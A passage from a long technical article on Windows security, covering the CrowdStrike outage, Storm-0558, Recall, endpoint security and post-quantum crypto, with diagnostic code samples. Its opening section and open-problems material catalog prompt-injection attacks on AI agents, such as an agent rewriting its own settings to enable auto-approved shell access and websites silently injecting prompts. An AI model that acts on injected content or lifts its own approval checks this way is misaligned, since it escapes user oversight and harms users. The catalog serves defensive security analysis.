The catalog around EchoLeak is now substantial. PromptJacking is Koi Security's collective name for three Anthropic Claude Desktop extension RCE vulnerabilities (Chrome, iMessage, and Apple Notes connectors) -- AppleScript injection from a maliciously crafted URL, rated CVSS 8.9 by Anthropic, fixed in version 0.1.9 in September 2025 [@koi-promptjacking] [@infosec-magazine-promptjacking]. ShadowPrompt, disclosed by Koi Security on March 26, 2026, chained a wildcard origin allowlist (*.claude.ai) in the Claude Chrome extension with a DOM-based XSS in an Arkose Labs CAPTCHA hosted on a-cdn.claude.ai to let any website silently inject prompts; the extension had over 3 million users at the time of disclosure [@koi-shadowprompt]. CVE-2025-53773 -- "ZombAIs" -- is a GitHub Copilot RCE via prompt-injection-controlled writes to .vscode/settings.json that enable chat.tools.autoApprove ("YOLO mode") and grant the agent unrestricted shell access [@nvd-cve-53773] [@cybersecuritynews-copilot-rce].

CVE or named class	Affected agent	Structural bound exploited	Mitigation status
EchoLeak (CVE-2025-32711) [@nvd-cve-32711]	Microsoft 365 Copilot	LLM Scope Violation -- agent treats retrieved context as trusted	Server-side patch June 2025 [@securityweek-echoleak]
PromptJacking (CVSS 8.9) [@koi-promptjacking]	Claude Desktop extensions	Unsanitized AppleScript template interpolation	Fixed in version 0.1.9 [@infosec-magazine-promptjacking]
ShadowPrompt [@koi-shadowprompt]	Claude Chrome extension	Wildcard origin allowlist plus third-party CAPTCHA XSS	Origin checks tightened in 1.0.41
CVE-2025-53773 (ZombAIs) [@nvd-cve-53773]	GitHub Copilot agent	Agent writes own configuration; YOLO-mode toggle	Patched [@cybersecuritynews-copilot-rce]
Skeleton Key / Master Key [@ms-skeleton-key]	Azure-managed LLMs	Multi-turn safety-policy override	Prompt Shields mitigation [@jailbreak-detection-shields]
Living off Microsoft Copilot [@mbgsec-bargury-pdf]	Microsoft 365 Copilot tenant	RAG-grounded post-compromise abuse	Phillip Misner: "similar to other post-compromise techniques" [@thurrott-bargury]

Aim Labs coined the phrase "LLM Scope Violation" for the EchoLeak chain. The vocabulary matters: the bug is not that the model failed a safety filter; it is that the model treated retrieved content as instruction. Anthropic's mid-2025 research note frames the structural caveat in similar terms: "prompt injection is far from a solved problem, particularly as models take more real-world actions... every webpage an agent visits is a potential vector for attack" [@anthropic-prompt-injection].

The taxonomies these CVEs are graded against are themselves new. OWASP published its Top 10 for Large Language Model Applications in 2023 and refreshed it in 2025 [@owasp-llm-top10]; NIST released the AI Risk Management Framework in January 2023 and the GenAI-specific Profile (AI 600-1) in July 2024 [@nist-ai-rmf] [@nist-ai-600-1]. Both treat prompt injection as a first-class class. Neither is a normative standard the way RFC 8725 is for JWTs.

Note: The structural bound EchoLeak demonstrates is general: any LLM agent that reads adversary-controllable text and can take an action -- write, send, fetch, execute -- has the structural template. Composition (cage plus input filter plus output filter) reduces blast radius; it does not eliminate the class.

If the AI agent's judgment is now a trust principal, the defensive arrivals across the era are the OS-layer hardening that the layer-above-the-OS soft spots are contrasted against. The next subsection inventories them so the state-of-the-art section can evaluate the whole stack.

4.5 Defensive arrivals across the era

The fifth thread runs underneath the other four. While the layer above the OS was failing publicly, the OS layer itself kept hardening -- across hardware roots of trust, on-device confidentiality, identity-side enforcement, and the cryptographic substrate.

Pluton expanded. The November 2020 Microsoft-AMD-Intel-Qualcomm joint announcement is the prior context, AMD Ryzen 6000 in 2022 was the first PC-class shipment, and Intel Core Ultra Series 2 (Lunar Lake, GA September 24, 2024) brought Pluton-as-Partner-Security-Engine to mainstream Intel mobile silicon [@pluton-docs]. Microsoft moved Pluton firmware servicing to the OS update channel, decoupling security-critical TPM-and-RoT updates from OEM BIOS-release cadences. Personal Data Encryption -- the per-user, per-file successor to EFS that uses Windows Hello to derive the file-encryption key -- shipped as a default-on option on Windows 11 24H2. Continuous Access Evaluation became the default revocation primitive for Microsoft 365 services, providing roughly 3-minute token-revocation latency in place of the prior cache-bound model [@cae-docs] [@openid-sse].

The cryptographic substrate finalized. On August 13, 2024, NIST published FIPS 203 (ML-KEM, the Module-Lattice-Based Key Encapsulation Mechanism standard) [@fips-203], FIPS 204 (ML-DSA, the Module-Lattice-Based Digital Signature standard) [@fips-204], and FIPS 205 (SLH-DSA, the Stateless Hash-Based Digital Signature standard) [@fips-205], with the Federal Register notice following on August 14, 2024 [@federal-register-pq].

The three NIST-standardized post-quantum primitives finalized August 13, 2024. ML-KEM (FIPS 203) is the lattice-based key encapsulation mechanism; ML-DSA (FIPS 204) is the lattice-based digital signature standard; SLH-DSA (FIPS 205) is the hash-based signature standard that hedges against future lattice-attack discoveries [@fips-203] [@fips-204] [@fips-205]. NIST chose three families precisely because no single family has both the security-margin and the performance properties needed for every Windows surface.

Microsoft's SymCrypt cryptographic library shipped ML-KEM and ML-DSA implementations; SChannel began previewing TLS 1.3 with ML-KEM hybrid key exchange; DPAPI-NG envelope-key migration to ML-KEM is in research; Kerberos post-quantum migration is named in the SFI April 2025 progress report as a multi-year program [@sfi-apr-2025]. The eight Windows AI updates published in coordination on April 25, 2025 captured the parallel: responsible AI commitments, Phi Silica multimodal, and Copilot+ PC AI features shipped together as a single coordinated public moment [@blogs-windows-apr25-2025].

FIPS 206 -- the FN-DSA standard derived from FALCON -- remains in draft as of May 2026; the URL csrc.nist.gov/pubs/fips/206/ipd returns HTTP 404 because NIST has not published an Initial Public Draft. Anyone needing a current status should look at the NIST Post-Quantum Cryptography project page rather than the per-FIPS page.

The defensive arrivals are real and substantial. They do not change the article's thesis -- they harden the OS layer (Pluton, VBS, PDE, Driver Block List) and the cryptographic substrate (PQC). The thesis is about what happens above the OS layer.

Five threads. One inflection. The question the next section must answer: what architectural insight ties them together?

5. The Insight

Three insights define the era. The article's thesis is the first; the other two are the context that makes the first ring true. All three must be named because the era's actual insight is that all three are true simultaneously and reinforce each other.

The third-party kernel privilege insight

The first insight is the article's thesis. The CrowdStrike outage refuted the 2006-2009 EU-engagement assumption that AV and EDR vendors needed kernel access to be effective by demonstrating a failure mode the argument did not address: a non-malicious data-parsing bug inside a privileged third-party kernel driver, no attacker involved, 8.5 million hosts offline, roughly 5.4 billion dollars in Parametrix-estimated direct losses to US Fortune 500 [@ms-weston-jul20-2024] [@cso-hints-kernel] [@crowdstrike-rca-pdf]. The Windows Endpoint Security Platform is the architectural answer: a sanctioned user-mode EDR API surface (tamper-protected, performance-equivalent target, MVI-3.0-gated) co-engineered with the major AV vendors [@wri-jun26-2025]. The April 14, 2026 Cross-Signing Program trust deprecation closes the legacy escape hatch [@techcommunity-cross-signing]. Together, they are a quiet admission that the 25-year settlement was a compromise the era's evidence has now made unsustainable.

flowchart TD subgraph Kernel ["Kernel (OS-owned)"] K1["ETW providers"] --> K2["Event broker"] K3["Process and file telemetry"] --> K2 end K2 --> U1["Tamper-protected user-mode service"] subgraph User ["User mode (vendor-owned)"] U1 --> U2["Vendor detection logic"] U2 --> U3["Vendor action API call"] end U3 --> Kernel L["Vendor channel-file or model update"] --> U2

The institution-is-the-boundary insight

The second insight is what Storm-0558 plus the CSRB verdict prove together: the vendor's internal security culture is part of the platform's attack surface for every downstream customer. The unrotated 2016 MSA signing key was not a bug; it was a decision (or a default) made inside Microsoft about how long signing keys lived and how they were stored. The missing OWA issuer-validation check was not a bug; it was an architectural assumption developers made about which libraries handled which validation steps. The Secure Future Initiative is the first time a platform vendor has publicly bet executive compensation and the cross-progress-report engineering commitments enumerated in §4.1 on this insight at the corporate level [@sfi-sept-2024] [@sfi-apr-2025] [@sfi-nov-2025-windows].

The AI agent is a new trust principal insight

The third insight is what the Recall saga is the first widely public worked example of. An AI feature whose threat model is not covered by AppContainer, VBS, TPM, or DPAPI alone forced Microsoft to invent a new pattern: VBS Enclave plus Windows Hello ESS gating plus TPM-rooted device key plus in-enclave content filtering, with explicit acknowledgement that the UI plane that decrypts content for display is, by Microsoft's own Security Servicing Criteria, not a security boundary [@recall-davuluri-sept27-2024] [@msrc-servicing-criteria] [@hello-ess-docs] [@vbs-enclaves-docs]. The April 2026 TotalRecall Reloaded disclosure proves the boundary holds at the vault and breaks at the delivery truck, exactly as the September 2024 design predicted it would [@itnews-totalrecall-reloaded]. The agentic-AI CVE catalog -- EchoLeak, PromptJacking, ShadowPrompt, ZombAIs -- shows the broader version of the same pattern: existing primitives can sandbox the agent's process and protect its data; none of them knows how to enforce policy on the agent's decisions.

Key idea: The three insights are not separable. The institutional failure (Storm-0558), the kernel-architectural failure (CrowdStrike), and the AI-trust-model failure (Recall and the EchoLeak class) are one architectural inflection seen from three angles: the layer above the OS has become the soft layer, and the OS-layer primitives Microsoft spent 25 years building do not extend upward into it. WESP, SFI, and the Recall Generation-3 architecture are Microsoft's first sustained engineering re-architecture of all three soft spots in parallel.

The thesis foregrounds the third-party kernel privilege insight because CrowdStrike is the single most measurable evidence -- the §4.3 numbers above, plus the Delta cancellations and the April 14, 2026 Cross-Signing trust deprecation. The other two are the context that explains why the layer above the OS is now the soft layer in multiple different ways.

If those three insights are right, what does the actual production deployment picture look like in May 2026? Six surfaces. The next section walks each one.

6. State of the Art, May 2026

May 2026 is the first calendar window in which all three soft-layer responses are simultaneously visible in production deployment, sanctioned private preview, or public roadmap. Six surfaces have to be evaluated together.

Identity. MSA and Entra ID signing keys live in hardware-backed security modules with automatic rotation [@azure-managed-hsm]; the MSA signing service runs in Azure Confidential VMs and Entra ID signing service migration is in progress [@sfi-apr-2025] [@azure-confidential-vm]. Microsoft's April 2025 progress report states that 90% of Entra ID tokens for Microsoft's own apps validate through the hardened identity SDK [@sfi-apr-2025]. Continuous Access Evaluation is the default revocation primitive for Microsoft 365 [@cae-docs]. Kerberos and SChannel post-quantum migration roadmaps are public; ML-DSA code-signing is in research.

Endpoint. Windows 11 24H2 RTM'd on October 1, 2024 for broad SKUs (Copilot+ PCs reached the same RTM on June 18, 2024, without Recall) [@copilot-pcs-may-20]. Windows 11 25H2 is in market. Windows 10 went end-of-life on October 14, 2025 [@ms-windows10-lifecycle]. Smart App Control ships default-on for new installs; Personal Data Encryption is generally available; Application Security Reduction rules cover AI-feature exclusions; Recall is GA on Snapdragon, AMD, and Intel Copilot+ silicon [@recall-manage-docs].

Antivirus and EDR. The Windows Endpoint Security Platform is in MVI 3.0 private preview as of July 2025 with Bitdefender, CrowdStrike, ESET, SentinelOne, Sophos, Trellix, Trend Micro, and WithSecure participating [@ms-securityweek-wesp] [@wri-jun26-2025]. Defender is already user-mode-capable. The April 14, 2026 Windows security update has begun the Cross-Signing Program trust deprecation in evaluation mode with the 100-runtime-hour and 2-or-3-restart criteria; WHCP-only enforcement is opt-in [@techcommunity-cross-signing] [@april-2026-driver-kb].

On-device AI. Recall Generation-3 is the worked example of the VBS Enclave plus TPM-rooted plus Windows Hello ESS gating pattern [@recall-davuluri-sept27-2024]. Copilot Vision and the on-device agent surface inherit the same template. Azure AI Content Safety Prompt Shields are the input-filter substrate for prompt-injection mitigation [@jailbreak-detection-shields]. OWASP LLM Top 10 [@owasp-llm-top10] and NIST AI RMF [@nist-ai-rmf] [@nist-ai-600-1] are the threat-class taxonomies.

Hardware. Pluton is across all three major x86 vendors plus Snapdragon: AMD Ryzen 6000+; Intel Core Ultra Series 2 and Series 3 with Partner Security Engine; Qualcomm Snapdragon 8cx Gen 3 and X Series [@pluton-docs]. Pluton firmware on 2024+ AMD and Intel ships through the OS update servicing channel. Per the November 2025 SFI report, Surface UEFI firmware and Windows drivers are being rewritten in Rust [@sfi-nov-2025-windows].

Cryptography. SymCrypt-OpenSSL ships with ML-KEM and ML-DSA. TLS 1.3 with ML-KEM hybrid key exchange is in SChannel preview. DPAPI-NG envelope-key migration to ML-KEM is in research [@sfi-apr-2025] [@fips-203] [@fips-204].

Cross-platform comparison

The state of the art is plural. Apple has shipped a user-mode Endpoint Security Framework since macOS 10.15 in October 2019 [@apple-esf-docs]; the Windows transition is catching up to an existing platform precedent rather than inventing the architecture. For cloud-attested AI confidentiality, Apple Private Cloud Compute is the published reference design [@apple-pcc]. For kernel-resident EDR with constrained programmability, the Linux eBPF route -- Falco and Tetragon -- is a credible third option [@falco-docs] [@tetragon-docs]. Microsoft maintains an eBPF for Windows project that targets networking-class use cases, not EDR-class collection, so eBPF is not a third Windows option as of May 2026 [@ms-ebpf-for-windows].

Surface	Microsoft 2026 position	Apple peer	Linux peer	Status
Identity-token custody	Managed HSM + Confidential VMs [@azure-managed-hsm]	iCloud Keychain, ADP	AWS CloudHSM [@aws-cloud-hsm]	Live, post-Storm-0558
EDR architecture	WESP user-mode, MVI 3.0 private preview [@wri-jun26-2025]	ESF, GA since macOS 10.15 [@apple-esf-docs]	eBPF: Falco, Tetragon [@falco-docs] [@tetragon-docs]	Private preview
On-device AI confidentiality	Recall: VBS Enclave + TPM + Hello ESS [@recall-davuluri-sept27-2024]	On-device Apple Intelligence	None equivalent	GA May 2025
Cloud-attested AI	M365 Copilot tenant boundary; Confidential Inferencing roadmap	Private Cloud Compute [@apple-pcc]	None equivalent	Apple ahead
Hardware RoT	Pluton (AMD, Intel, Qualcomm) [@pluton-docs]	Secure Enclave Processor	Various (Google Titan, AWS Nitro)	Pluton ahead on PC
Post-quantum	SymCrypt ML-KEM, ML-DSA; TLS preview [@fips-203] [@fips-204]	CryptoKit ML-KEM, iMessage PQ3	Liboqs, OpenSSL providers	Industry parity

Falco's ADOPTERS.md lists Booz Allen Hamilton, Frame.io, GitLab, MathWorks, Secureworks, Skyscanner, Sumo Logic, and Shopify as production adopters as of May 2026 [@falco-adopters]. Earlier write-ups frequently named Google, Netflix, and Pinterest; that list is incorrect against the current file.

Microsoft's distinctive bet is the institution-plus-kernel-architecture-plus-AI-trust-model triple. No peer matches at all three layers simultaneously. Apple has the cleanest user-mode EDR story and the cleanest cloud-attested AI story; it does not have a public equivalent to SFI's institutional commitments at the corporate-governance level. Linux has the most flexible kernel-residency-with-constrained-programmability story for EDR; it has no equivalent to the Recall-style on-device AI feature plane because no Linux desktop ships such a feature at scale.

The state of the art is plural. Three real and live disagreements remain unresolved as of May 2026, and they sit at the heart of where the field goes next.

7. Competing Approaches

Three real and live disagreements as of May 2026. The article's thesis takes a position on the first; the other two are honestly named as open.

Inside the kernel or outside

The first disagreement sits at the heart of the article's thesis. Microsoft and Apple converge on outside-the-kernel as the strategic answer -- WESP on the Windows side [@wri-jun26-2025], the Endpoint Security Framework on the macOS side, generally available since October 2019 [@apple-esf-docs]. Linux's eBPF-based EDR architectures are a third option that combines kernel-residency with constrained programmability -- the eBPF verifier rejects programs that can crash the kernel before they load [@falco-docs] [@tetragon-docs]. CrowdStrike, SentinelOne, and Sophos all have public commitments to the WESP user-mode path while continuing to ship kernel components during the transition [@ms-securityweek-wesp].

The trade-offs are honest. In-kernel sees more, runs faster on the hot paths, and can intervene at lower latency. User-mode cannot crash the OS, can be sandboxed, and trades blast radius for visibility. eBPF tries to take both: kernel-residency speed plus a static verifier that bounds what the program can do.

Architecture	Visibility	Blast radius	Latency	Attestation	Deployment status
Legacy in-kernel third-party	Highest	Whole OS BSOD risk (CrowdStrike-class)	Lowest	KMCS + WHCP	Default through April 2026; cross-signing trust deprecated [@techcommunity-cross-signing]
WESP user-mode (Windows)	High via OS-provided ETW + brokers [@wri-jun26-2025]	User-mode service restart	Higher than kernel-mode	OS-attested user-mode service	MVI 3.0 private preview [@ms-securityweek-wesp]
Apple ESF (macOS)	High via system extensions [@apple-esf-docs]	User-mode extension only	Higher than kernel-mode	macOS notarization	GA since 10.15
eBPF (Linux: Falco, Tetragon) [@falco-docs] [@tetragon-docs]	High; in-kernel programs	Verifier-bounded; cannot crash kernel	Near kernel-mode	None standardized	Production at Booz Allen, GitLab, MathWorks [@falco-adopters]

The article's thesis takes the position that the CrowdStrike proof case has settled the trade-off in favor of out-of-kernel for the general AV and EDR class. The lingering question is whether eBPF-style constrained programmability is a viable third option in the Windows lineage. Microsoft's eBPF for Windows repository targets networking, not EDR collection [@ms-ebpf-for-windows]; nothing in the public roadmap suggests that changes before Part 7.

Hardware-rooted on-device or cloud-attested

The second disagreement sits at the boundary of confidential computing and AI inference. Apple's Private Cloud Compute bets that the heavy AI inference belongs in attested confidential-VM cloud nodes -- five core requirements (stateless computation, enforceable guarantees, no privileged runtime access, non-targetability, verifiable transparency) [@apple-pcc]. Microsoft (Recall, Copilot+ on-device inference) and Google bet on hardware-rooted on-device enclaves; the Recall Generation-3 architecture is the worked Windows example [@recall-davuluri-sept27-2024]. The trade-offs are latency, privacy-by-non-transmission, the hardware-attestation surface, and the harder question of what happens when the model itself becomes sensitive intellectual property the device must protect from the device's own owner.

Whether the AI trust boundary can be formalized at all

The third disagreement is the hardest. Anthropic's published prompt-injection research note acknowledges directly that prompt injection is "far from a solved problem" and that "every webpage an agent visits is a potential vector for attack" [@anthropic-prompt-injection] [@anthropic-claude-chrome]. The structural question is whether the AI-agent-as-trust-principal model can be made architecturally safe at all, or whether the only durable answer is to keep the agent in a strict permission cage along the lines of the iOS App Sandbox model or Win32 App Isolation [@app-isolation]. The article must name this disagreement as live, not pretend it is resolved.

Microsoft's eBPF for Windows repository describes itself as a work in progress to bring existing eBPF toolchains and APIs from the Linux community to Windows [@ms-ebpf-for-windows]. As of May 2026 the project targets networking use cases. It is not yet a Windows-side answer to Falco or Tetragon.

Some bounds in the era are honest disagreements; others are mathematical. The next section walks the limits that cannot be argued away.

8. Theoretical Limits

Some of the era's bounds are not engineering deficits. They are mathematical, physical, or structural -- and naming them honestly is the only way to evaluate the era's architecture without sliding into apologist framing.

The Forshaw bound on Recall

James Forshaw's June 3, 2024 post named a bound that the April 2026 TotalRecall Reloaded disclosure confirmed empirically: any privilege escalation, or any non-security boundary, is sufficient to leak Recall's data because the user account that owns the data is also the principal that runs the AI feature that decrypts it [@forshaw-acl-jun3-2024]. The Generation-3 architecture pushes the key into a VBS Enclave bound to a TPM-released device key gated by Windows Hello ESS [@recall-davuluri-sept27-2024]; what it cannot do is hide the decrypted plaintext from the AI host process that has to render it. Microsoft's own Security Servicing Criteria treats same-user post-authentication as not a security boundary [@msrc-servicing-criteria]. TotalRecall Reloaded attacked exactly that delivery-truck process -- the AIXHost.exe renderer -- and Microsoft determined the technique "operates within the current, documented security design of Recall" [@itnews-totalrecall-reloaded]. The §4.2 vault-and-delivery-truck framing is the empirical anchor for the Forshaw bound's general form.

The trusted-insider-with-physical-access bound on hardware enclaves

No hardware-rooted on-device confidentiality survives the device-physically-compromised attacker over a long enough adversarial window. Pluton, Hello ESS, and VBS Enclaves all raise the cost of attack; they do not eliminate it. The architectural goal is to make the attack expensive enough that mass-scale attacks become uneconomical, not to prove that no attack exists.

The 4096-byte problem in post-quantum signatures

NIST standardized three post-quantum signature families precisely because no single family has both the security-margin and the performance properties needed for every Windows surface. ML-KEM (FIPS 203) is fast but lattice-only [@fips-203]. SLH-DSA (FIPS 205) is hash-based and hedges against future lattice attacks at the cost of signatures large enough to be impractical for many surfaces [@fips-205]. ML-DSA (FIPS 204) is the workhorse but inherits the lattice-attack-class uncertainty SLH-DSA is meant to hedge against [@fips-204].

The hardware bound is concrete. Per FIPS 204 final, ML-DSA-44 produces 2,420-byte signatures, ML-DSA-65 produces 3,309-byte signatures, and ML-DSA-87 produces 4,627-byte signatures [@fips-204-pdf] [@encryptionconsulting-fips204]. The TPM 2.0 Library Specification sets the default command and response buffer at 4,096 bytes (TPM2_MAX_COMMAND_SIZE and TPM2_MAX_RESPONSE_SIZE in the Implementation-Dependent Constants table) [@tcg-tpm2-spec] [@tpm2-tss-types]. The arithmetic is unforgiving: $$2{,}420 < 3{,}309 < 4{,}096 < 4{,}627$$ ML-DSA-44 and ML-DSA-65 fit in a default TPM 2.0 buffer; ML-DSA-87 does not. Any Windows surface that wants TPM-resident ML-DSA-87 signing has to either negotiate larger buffer sizes (vendor-specific) or settle for the smaller parameter set and accept a lower classical-security margin.

The previous iteration of this article reported ML-DSA byte sizes as 2,420 (correctly for ML-DSA-44 but mis-labeled for ML-DSA-65) and 4,595 (incorrectly for ML-DSA-87). The corrected sizes from FIPS 204 Appendix B and the EncryptionConsulting cross-attestation are 2,420 / 3,309 / 4,627 [@fips-204-pdf] [@encryptionconsulting-fips204]. The load-bearing inequality -- ML-DSA-65 fits, ML-DSA-87 does not -- survives the correction.

The AI-agent-judgment bound

No existing formal-verification framework knows how to prove safety properties about an AI agent's decision process. The boundary is, by construction, statistical -- and statistical security boundaries are a new thing in the Windows lineage. The composition Microsoft uses today (Win32 App Isolation as the cage [@app-isolation], Prompt Shields as the input filter [@jailbreak-detection-shields], Groundedness Detection and Task Adherence as the output filter, OS-attested enclaves where confidentiality matters) reduces blast radius. It does not eliminate the class. This is the era's defining open theoretical question.

The Rice's Theorem bound on driver validation

Even WESP cannot guarantee that no future user-mode EDR component will introduce a Channel-File-291-class failure. Rice's Theorem says that no general decision procedure exists for non-trivial semantic properties of arbitrary programs; the WESP architectural fix is blast-radius reduction (kernel-mode crash becomes user-mode service restart), not defect elimination. Naming this honestly avoids the apologist failure mode in which WESP gets framed as a solution rather than a mitigation.

Note: WESP changes the consequence of a vendor data-parsing bug from a kernel BSOD into a user-mode service restart. It does not prevent the bug. The right comparison is not "the bug never happens" but "when the bug happens, what is the blast radius." The CrowdStrike Channel File 291 defect in a WESP-architected world is a vendor process that exits and restarts -- the host stays up.

Some of these limits will be relaxed by future engineering; others will not. The next section asks which are live research and which are accepted physical bounds.

9. Open Problems

Where active research and engineering is happening as of May 2026 -- and where the thesis's open forward questions live.

Whether the user-mode EDR API surface is empirically sufficient for the AV and EDR class. WESP is in private preview as of May 2026 [@wri-jun26-2025]. Whether it can match in-kernel EDR for the BYOVD and rootkit attack class is not yet empirically settled. This is the load-bearing open question for the article's thesis. If WESP cannot deliver visibility-equivalent-to-kernel for the rootkit class, the third-party-AV-in-kernel model has not actually ended -- it has only been administratively constrained. The MVI 3.0 private preview cohort is the empirical test bed; the first public benchmark write-ups should arrive in 2026-2027.

Production deployment of post-quantum identity-token signing. Kerberos PKINIT, OAuth-token JWS, SAML XMLDSig -- Apple, Google, and Microsoft all have public roadmaps; none has shipped at production scale to consumer endpoints as of May 2026. Microsoft's SFI April 2025 progress report names Kerberos PQ migration as a multi-year program [@sfi-apr-2025]; the FIPS 203/204/205 finals from August 13, 2024 are the gating standards [@fips-203] [@fips-204] [@fips-205] [@federal-register-pq].

The agentic-AI persistence attack class. The CVE catalog is beginning to populate (EchoLeak [@nvd-cve-32711], PromptJacking [@koi-promptjacking], ShadowPrompt [@koi-shadowprompt], ZombAIs [@nvd-cve-53773], the Bargury chain [@mbgsec-bargury-pdf]). Microsoft's response surface is Win32 App Isolation expansion plus Edge AI Browser sandboxing plus Prompt Shields plus Distinct Agent Accounts (announced in the November 18, 2025 roadmap post) [@nov18-2025-preparing-next] [@app-isolation] [@jailbreak-detection-shields]. An OS-level "policy on AI agent judgment" primitive is not yet visible in production.

Whether SFI's cultural change compounds. The April 2025 and November 2025 progress reports quantify improvement on the identity-token and signing-key axes [@sfi-apr-2025] [@sfi-nov-2025-windows]. Whether the same compounding occurs on the supply-chain, third-party-dependency, and human-OPSEC axes is the next progress report's load-bearing claim. The Hotpatch metric (81% of enrolled devices compliant within 24 hours of Patch Tuesday) [@sfi-nov-2025-windows] is the most measurable single indicator.

The OpenID Foundation Shared Signals Framework is the cross-vendor standardization vehicle for Continuous Access Evaluation equivalents [@openid-sse]; production-grade CAE-equivalent deployments outside the Microsoft 365 boundary are a 2026-2027 open problem.

Whether the Pluton-vs-discrete-TPM bifurcation gets settled. As of May 2026, Dell, Lenovo, and HP still have public reservations about Pluton-as-TPM on enterprise SKUs; the Pluton-as-TPM configurability flag is the live compromise [@pluton-docs]. The default behavior varies by OEM and SKU.

The forward question. Does the WESP rollout land in time for the 2026 ransomware wave? If WESP private preview hardens into GA before the next CrowdStrike-class incident -- malicious or not -- then the institutional response has matched the threat timeline. If it does not, the era's open question becomes the opening question of Part 7.

If those are the open problems, the question for a working practitioner is: what should you actually do today? The next section answers per surface.

10. Practical Guide

What a Windows platform security practitioner should be doing today, per surface. The thesis is the architectural diagnosis; this section is the operational prescription.

Identity. Move your workloads to the hardened identity SDK; require Continuous Access Evaluation on Conditional Access policies; rotate any unrotated long-lived signing keys; verify your tenant's Entra ID and MSA flow is on the post-SFI signing-key infrastructure [@sfi-apr-2025] [@cae-docs].

Endpoint. Default-on Smart App Control on new builds; enable Personal Data Encryption for user-folder protection; deploy Application Security Reduction rules including the AI-feature exclusions; track WESP private-preview availability if you ship an antivirus or EDR product [@wri-jun26-2025].

AV and EDR. If you operate a Windows fleet, audit your kernel-driver dependency surface against the April 2026 vulnerable-driver-blocking list (the psmounterex.sys family is the named exemplar) [@april-2026-driver-kb] [@driver-block-rules]; verify your AV or EDR vendor has a WESP transition roadmap and an MVI 3.0 commitment [@ms-securityweek-wesp]; budget for a 12-to-24-month transition from kernel-mode to user-mode EDR; instrument Event ID 3077 in the Code Integrity log for blocked-driver visibility [@techcommunity-cross-signing].

AI features. Default-off the AI features that store user content (Recall, Copilot Vision history) until you have an enterprise policy; use the Intune Settings Catalog policies for Recall (AllowRecallEnablement, DisableAIDataAnalysis) [@recall-manage-docs]; evaluate prompt-injection exposure for every browser-integrated and Office-integrated AI agent [@anthropic-prompt-injection]; treat the AI agent's network reach as a Conditional Access surface.

Post-quantum. Audit your TLS, IPsec, code-signing, and key-management surfaces for PQ-migration readiness; track Microsoft's published PQ-migration timelines per surface [@sfi-apr-2025]; do not deploy custom ML-KEM or ML-DSA outside NIST-validated libraries [@fips-203] [@fips-204].

Pluton. Verify your hardware-refresh cycle moves to Pluton-capable silicon (AMD Ryzen 6000+; Intel Core Ultra Series 2 and later; Snapdragon 8cx Gen 3 and X Series) [@pluton-docs]; decide your Pluton-as-TPM configuration policy for new procurement; remember "Pluton present" is not "Pluton enabled" -- confirm OEM-exposed TPM type via Get-Tpm plus BIOS toggle inspection.

Two of those operational steps -- the Pluton-as-TPM status check and the Event ID 3077 monitoring -- are concrete enough to demonstrate. The runnable code blocks below are the verifiable form.

{` // PowerShell on Windows: Get-Tpm | Select-Object ManufacturerIdTxt, ManufacturerVersion, ManagedAuthLevel // The JSON below is a representative shape returned by a Pluton-as-TPM machine. const tpm = { ManufacturerIdTxt: "MSFT", ManufacturerVersion: "1.0.0.0", ManagedAuthLevel: "Full", TpmPresent: true, TpmReady: true, };

function classifyTpm(tpm) { if (!tpm.TpmPresent) return "no TPM detected"; if (!tpm.TpmReady) return "TPM present but not ready (clear/initialize via tpm.msc)"; if (tpm.ManufacturerIdTxt === "MSFT") return "Pluton-as-TPM (Microsoft firmware TPM)"; if (tpm.ManufacturerIdTxt === "AMD" || tpm.ManufacturerIdTxt === "INTC") return tpm.ManufacturerIdTxt + " firmware TPM (fTPM); Pluton may be present but not the TPM"; return "discrete TPM by manufacturer " + tpm.ManufacturerIdTxt; }

console.log(classifyTpm(tpm)); `}

{` // PowerShell: Get-WinEvent -LogName 'Microsoft-Windows-CodeIntegrity/Operational' -FilterXPath "*[System[EventID=3077]]" // Event ID 3077 = a driver was blocked from loading. // Representative subset of fields shown below. const events = [ { Id: 3077, FileName: "psmounterex.sys", PublisherName: "Cross-Signed Legacy CA", Action: "Blocked" }, { Id: 3077, FileName: "vulndrv.sys", PublisherName: "WHCP", Action: "Blocked-Driver-Blocklist" }, { Id: 3076, FileName: "okaydriver.sys", PublisherName: "WHCP", Action: "AuditOnly" }, ];

const blockedLoads = events.filter(e => e.Id === 3077 && e.Action.startsWith("Blocked")); for (const e of blockedLoads) { console.log("BLOCKED:", e.FileName, "(" + e.PublisherName + ")"); } `}

Note: The April 2026 vulnerable-driver-blocking list names psmounterex.sys as the first exemplar [@april-2026-driver-kb]. Any third-party tool that depends on it for backup or storage management will fail until the vendor ships a WHCP-signed replacement. Inventory your driver dependency graph before the April 14, 2026 Patch Tuesday lands across your fleet.

The April 2025 SFI progress report states that Entra ID and MSA access-token signing keys are in hardware-backed security modules with automatic rotation, and that the MSA signing service runs in Azure Confidential VMs [@sfi-apr-2025]. This is a Microsoft-side fact about *Microsoft's own tenants and signing services*, not a customer-tunable setting. For your own tenant, the things you can actually verify are: that Conditional Access policies enable CAE (Entra admin center: Conditional Access > Sessions); that your applications validate the `iss`, `aud`, `kid`, and `tid` claims per RFC 8725 [@rfc-8725]; and that any long-lived application secrets you manage are stored in Azure Key Vault Managed HSM with rotation enabled [@azure-managed-hsm]. There is no customer-visible knob for "use the post-SFI signing service" -- the signing service is upstream of your tenant and is managed by Microsoft.

11. Frequently Asked Questions

Seven load-bearing misconceptions of the era. Each gets a short answer with a back-reference to the relevant section.

No. Microsoft's September 6, 2023 post initially hypothesized that path, then retracted it in an in-place edit on March 12, 2024 with the verbatim sentence: "we have not found a crash dump containing the impacted key material" [@msrc-storm0558-key-acq]. The CSRB report (April 2, 2024, page 17) is equally explicit: "Microsoft has been unable to determine how or when Storm-0558 obtained the MSA key" [@csrb-2024]. The acquisition mechanism is, as of May 2026, unknown. See section 3. No. Windows 11 24H2 reached Copilot+ PC RTM on June 18, 2024 and broad-SKU RTM on October 1, 2024; neither shipped Recall. Recall was pulled from the planned June 18, 2024 Copilot+ PC ship date via an in-place editor's note on the June 7, 2024 Davuluri post -- a five-day pull, not "weeks before launch" [@recall-davuluri-jun7-2024]. Recall returned to the Windows Insider Program on November 22, 2024 and reached general availability on May 13, 2025 [@recall-manage-docs]. See section 4.2. No. Microsoft is *transitioning* AV and EDR to user mode via WESP, which opened in MVI 3.0 private preview in July 2025 [@wri-jun26-2025] [@ms-securityweek-wesp]. Microsoft is *separately* deprecating the legacy Cross-Signing Program in the April 14, 2026 Windows security update, beginning in evaluation mode with a 100-runtime-hour and 2-or-3-restart criterion [@techcommunity-cross-signing]. No public document names a hard categorical ban date. WHCP-certified kernel drivers continue to 